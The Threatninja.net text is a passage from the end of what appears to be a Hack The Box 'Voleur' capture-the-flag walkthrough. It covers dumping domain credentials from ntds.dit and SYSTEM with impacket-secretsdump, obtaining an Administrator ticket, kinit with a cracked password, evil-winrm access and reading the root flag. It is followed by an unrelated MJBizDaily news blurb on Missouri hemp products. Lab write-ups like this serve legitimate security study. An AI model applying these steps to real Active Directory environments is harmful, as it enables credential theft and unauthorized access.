The SYSTEM file was transferred to the remote host.

That command runs impacket-secretsdump in offline mode against the dumped AD database and system hive — reading ntds.dit and SYSTEM to extract domain credentials and secrets (user NTLM hashes, cached credentials, machine account hashes, LSA secrets, etc.) for further offline analysis; treat the output as highly sensitive and use only with proper authorization.

Acquire an Administrator service ticket for WinRM access.

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the root flag, run type root.txt in the compromised session.

The post Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Unregulated retailers are selling illegal, intoxicating marijuana products and calling them “hemp.”

Most Missouri hemp THC products are illegal marijuana, trade group claims is a post from: MJBizDaily: Financial, Legal & Cannabusiness news for cannabis entrepreneurs